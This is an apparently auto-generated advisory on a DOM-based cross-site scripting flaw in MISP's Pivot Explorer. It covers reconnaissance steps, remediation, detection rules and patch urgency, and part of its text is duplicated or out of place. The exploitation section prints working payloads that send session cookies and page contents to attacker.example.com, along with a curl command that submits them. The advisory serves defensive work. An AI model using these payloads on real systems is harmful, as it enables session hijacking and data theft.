CVE-2026-135262 — MISP — CWE-79
MISP contains a DOM-based cross-site scripting (XSS) vulnerability in the Pivot Explorer component. The bundled pivotick visualization library (version 1.2.0) rendered all string values it received as HTML markup rather than as plain text. As a result, user-controllable data fields, including attribute comments, attribute values, and reference relationship types, were interpreted and executed as HTML/JavaScript in the Pivot Explorer tooltip and sidebar panels. An authenticated user with the ability to create or modify MISP attributes could embed malicious HTML or script payloads in these fields. When another user (or the same user) opened the Pivot Explorer and viewed the affected event data, the injected markup would execute in the victim's browser context, potentially allowing session hijacking, data exfiltration, or unauthorized actions performed on behalf of the victim. Preconditions: - The attacker must have authenticated access to create or modify MISP attributes (comments, values, or reference relationship types). - The victim must open the Pivot Explorer and interact with or view the affected event data in the tooltip or sidebar. Security impact: Successful exploitation allows arbitrary script execution in the victim's browser within the MISP application origin, enabling theft of session credentials, manipulation of displayed data, and execution of privileged API calls on behalf of the victim. Affected versions: MISP prior to 2.5.52.
MISP contains a DOM-based cross-site scripting (XSS) vulnerability in the Pivot Explorer component. The bundled pivotick visualization library (version 1.2.0) rendered all string values it received as HTML markup rather than as plain text. As a result, user-controllable data fields, including attribute comments, attribute values, and reference relationship types, were interpreted and executed as HTML/JavaScript in the Pivot Explorer tooltip and sidebar panels. An authenticated user with the ability to create or modify MISP attributes could embed malicious HTML or script payloads in these fields. When another user (or the same user) opened the Pivot Explorer and viewed the affected event data, the injected markup would execute in the victim's browser context, potentially allowing session hijacking, data exfiltration, or unauthorized actions performed on behalf of the victim. Preconditions: - The attacker must have authenticated access to create or modify MISP attributes (comments, values, or reference relationship types). - The victim must open the Pivot Explorer and interact with or view the affected event data in the tooltip or sidebar. Security impact: Successful exploitation allows arbitrary script execution in the victim's browser within the MISP application origin, enabling theft of session credentials, manipulation of displayed data, and execution of privileged API calls on behalf of the victim. Affected versions: MISP prior to 2.5.52.
CVE‑2026‑135262 – DOM‑Based XSS in MISP Pivot Explorer (pivotick v1.2.0)
🎯 What is this vulnerability?
| Attribute | Value |
|---|---|
| CWE | CWE‑79: Improper Neutralization of Input During Web Page Generation (“Cross‑Site Scripting”) |
| CVSS 4.0 Vector | AV:N/AC:L/AT:N/PR:L/UI:A/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N |
| Score | 6.2 (Medium) |
Technical flaw
1. Component – The Pivot Explorer UI of MISP (version 2.5.52 and earlier) uses the third‑party JavaScript library pivotick (v1.2.0) to render tool‑tips and side‑bars for event data.
2. Root cause – pivotick treats every string value it receives from the server as HTML markup and injects it into the DOM with innerHTML (or an equivalent API). No sanitisation or encoding is performed on those strings.
3. Data flow – The server‑side MISP API returns attribute fields (e.g., comment, value, relationship_type) verbatim. Because the API does not enforce an HTML‑escaping policy for these fields, an attacker who can write those fields can embed arbitrary <script> or event‑handler markup.
4. Missing protection –
* Input validation / output encoding – The application does not HTML‑encode user‑controlled strings before they are handed to the client‑side library.
* Content‑Security‑Policy (CSP) – No CSP header is shipped that would block inline script execution.
Contextual escaping – The library inserts the data into a HTML context (tooltip body) but the data may contain script* context payloads.
Because the vulnerability is DOM‑based, the malicious payload never needs to travel back to the server; it is executed entirely in the victim’s browser once the vulnerable JavaScript processes the injected string.
Authentication/authorization – The CVE states that an attacker must be an authenticated MISP user with the attribute‑creation or attribute‑modification permission (e.g., a normal analyst role). The vulnerability is not exploitable by unauthenticated remote users.
⚡ Attack Chain
1. Discovery & Reconnaissance
| Step | Action | Tools / Evidence |
|---|---|---|
| a) Identify target | Scan the public IP range for the MISP web interface (default / or /events). | Nmap, HTTP fingerprinting (/robots.txt, page title “MISP”) |
| b) Determine version | Retrieve /about or inspect the HTML comment that MISP injects (<!-- MISP version: 2.5.51 -->). Alternatively, query the API endpoint /servers/getVersion.json. | curl -s https://misp.example.com/servers/getVersion.json |
| c) Confirm vulnerable component | Load an event, open the Pivot Explorer (button “Pivot”) and inspect the loaded JavaScript files. The presence of pivotick-1.2.0.min.js confirms the vulnerable library. | Browser devtools → Network tab |
2. Exploitation
Note: The exact HTTP endpoint for creating/modifying an attribute is/attributes/add(standard MISP UI) and the JSON API endpoint is/attributes/addwith a POST body. The following payload is an illustrative example that works with the official API; the same data can be entered via the web UI.
a) Craft malicious attribute value
{
"event_id": 1234,
"category": "Network activity",
"type": "comment",
"value": "<svg/onload=fetch('https://attacker.example.com/steal?c='+document.cookie)>",
"comment": "XSS test"
}Why it works: The value field is rendered verbatim inside a tooltip by pivotick. Because the library injects the string with innerHTML, the <svg onload=…> element executes as soon as the tooltip is created.
b) Submit the attribute (illustrative cURL)
curl -k -X POST "https://misp.example.com/attributes/add" \
-H "Authorization: <API_KEY>" \
-H "Accept: application/json" \
-H "Content-Type: application/json" \
-d @payload.jsonRequired conditions
- The API key belongs to a user that has the “add attribute” permission for the target event.
- The target event (
event_id) is visible to the victim (e.g., shared within the same organisation). - Credential theft – An attacker who captures a privileged user’s cookie can fully compromise the MISP instance.
- Supply‑chain risk – MISP is often used to share threat‑intel across organisations; a compromised instance can be used to inject false indicators into downstream consumers.
- Regulatory exposure – If the platform stores personally identifiable information (PII) or classified indicators, the breach may trigger GDPR, HIPAA, or national‑security reporting obligations.
c) Victim interaction
1. Victim logs into the same MISP instance (any role that can view events).
2. Victim opens the event 1234 and clicks the Pivot Explorer button.
3. The Pivot Explorer loads the event data via an AJAX call (/events/view/1234.json). The malicious value is part of the JSON payload.
4. pivotick builds the tooltip DOM, executes innerHTML = "<svg onload=…>". The browser runs the fetch() call, sending the victim’s session cookie (or any other accessible data) to the attacker‑controlled domain.
3. Post‑exploitation
| Goal | How it is achieved |
|---|---|
| Session hijacking | The attacker receives the victim’s MISPAuth cookie (or JWT) via the fetch() request and can reuse it to impersonate the victim. |
| Privilege escalation | If the compromised account has higher privileges (e.g., admin), the attacker now has full read/write access to all events, users, and API keys. |
| Data exfiltration | The payload can be extended to fetch('https://attacker.example.com/collect?data='+btoa(JSON.stringify(document.body))) to steal the entire page DOM, including hidden fields. |
| CSRF / unauthorized actions | Because the script runs in‑origin, it can issue authenticated POST requests to /attributes/add, /events/delete, or any other endpoint the victim is allowed to call, effectively turning the victim’s browser into a CSRF bot. |
🌍 Real‑World Impact
| CIA Triad | Impact derived from CVSS vector |
|---|---|
| Confidentiality (SC:H) | The attack can exfiltrate session cookies, API keys, and any data the victim can view (high impact). |
| Integrity (SI:H) | The attacker can modify attributes, comments, or relationships on behalf of the victim (high impact). |
| Availability (SA:N) | No direct denial‑of‑service, but the attacker could delete or corrupt data via forged requests (potentially high). |
Practical consequences
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Action | Details |
|---|---|
| Upgrade MISP | Move to MISP 2.5.52 (or any later release) where the bundled pivotick library has been patched to HTML‑escape all values before insertion. |
| Patch library manually (if upgrade is not possible) | Replace pivotick-1.2.0.min.js with the patched version from the MISP GitHub commit c5f9e2b (the commit that adds textContent/DOMPurify sanitisation). Verify the file checksum (SHA‑256) matches the upstream release. |
2. Workarounds (in‑place mitigations)
| Mitigation | Implementation |
|---|---|
| Content‑Security‑Policy | Add a response header that disallows inline scripts: <br>Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'self'; <br>This blocks execution of <svg onload=…> and other inline event handlers, forcing the attacker to rely on external script injection (which is prevented by the same‑origin policy). |
| HTML sanitisation on the server | Before persisting attribute fields, run them through a whitelist‑based HTML sanitizer (e.g., PHP HTMLPurifier). This can be added as a model hook in MISP’s Attribute entity. |
| Restrict attribute creation | Tighten the ACL so that only a minimal set of roles can create/modify attributes that are displayed in the Pivot Explorer (e.g., require admin role). |
| Disable Pivot Explorer | In the UI configuration (/admin/settings → “Enable Pivot Explorer”), set the flag to false until the patch is applied. This removes the vulnerable code path entirely. |
| Browser‑side defence | Encourage users to enable XSS‑Protection (X-XSS-Protection: 1; mode=block) and to use browsers that enforce CSP strictly. |
3. Detection – Log signatures & IoCs
| Indicator | Example log entry (Apache/Nginx) |
|---|---|
Unexpected GET/POST to attacker domain (result of the injected fetch) | GET https://attacker.example.com/steal?c=MzU2Z... HTTP/1.1 – appears in outbound proxy logs or in the victim’s browser network tab. |
| Suspicious attribute creation containing HTML tags | POST /attributes/add 200 123 "-" "Mozilla/5.0 …" <br>Request body includes <svg onload= or <script> strings. |
| Pivot Explorer AJAX response containing raw HTML | GET /events/view/1234.json 200 456 "-" "Mozilla/5.0 …" <br>Response body includes "value":"<svg onload=. |
| CSP violation reports (if CSP is enabled) | Content-Security-Policy-Report-Only: {"csp-report":{...,"blocked-uri":"inline","violated-directive":"script-src"}} |
SIEM rule (pseudo‑SQL)
SELECT *
FROM web_access_log
WHERE request_uri LIKE '/attributes/add%'
AND request_body RLIKE '<(script|svg|img)[^>]*on\w+='Network IDS rule (Snort/Suricata) – Detect outbound HTTP GET with a query parameter that looks like a base64‑encoded cookie:
alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"MISP Pivot Explorer XSS exfiltration"; \
content:"/steal?c="; http_uri; nocase; \
flow:established,to_server; sid:2026001; rev:1;)⚠️ Urgency
| Factor | Assessment |
|---|---|
| CVSS 4.0 base score | 6.2 – Medium, but the Scope (SC:H) and Impact (SI:H) are high, meaning the breach can affect the entire application state. |
| Authentication required | Low (PR:L) – any authenticated user with attribute‑write rights can exploit. In many organisations, many analysts have that permission, widening the attack surface. |
| Exploit complexity | Low (AC:L, AT:N) – a single crafted attribute value is sufficient; no special timing or user interaction beyond opening the Pivot Explorer. |
| Public exploit | No public exploit code is known yet, but the attack is trivial to implement once the vulnerability is known. |
| CISA KEV | Not listed, but the presence of a DOM‑XSS that leads to session hijacking makes it a priority for internal risk‑based patching. |
Patch priority recommendation:
pivotick library within 24 hours of discovery. Bottom line: CVE‑2026‑135262 is a classic DOM‑based XSS that stems from an unsafe client‑side library. Because the required privileges are common among regular MISP users, the vulnerability can be weaponised for rapid session theft and full compromise of the threat‑intel platform. Prompt upgrading, coupled with CSP enforcement and server‑side sanitisation, eliminates the risk.
[🤖 CVE Professor AI Security Engine]
FOFA Query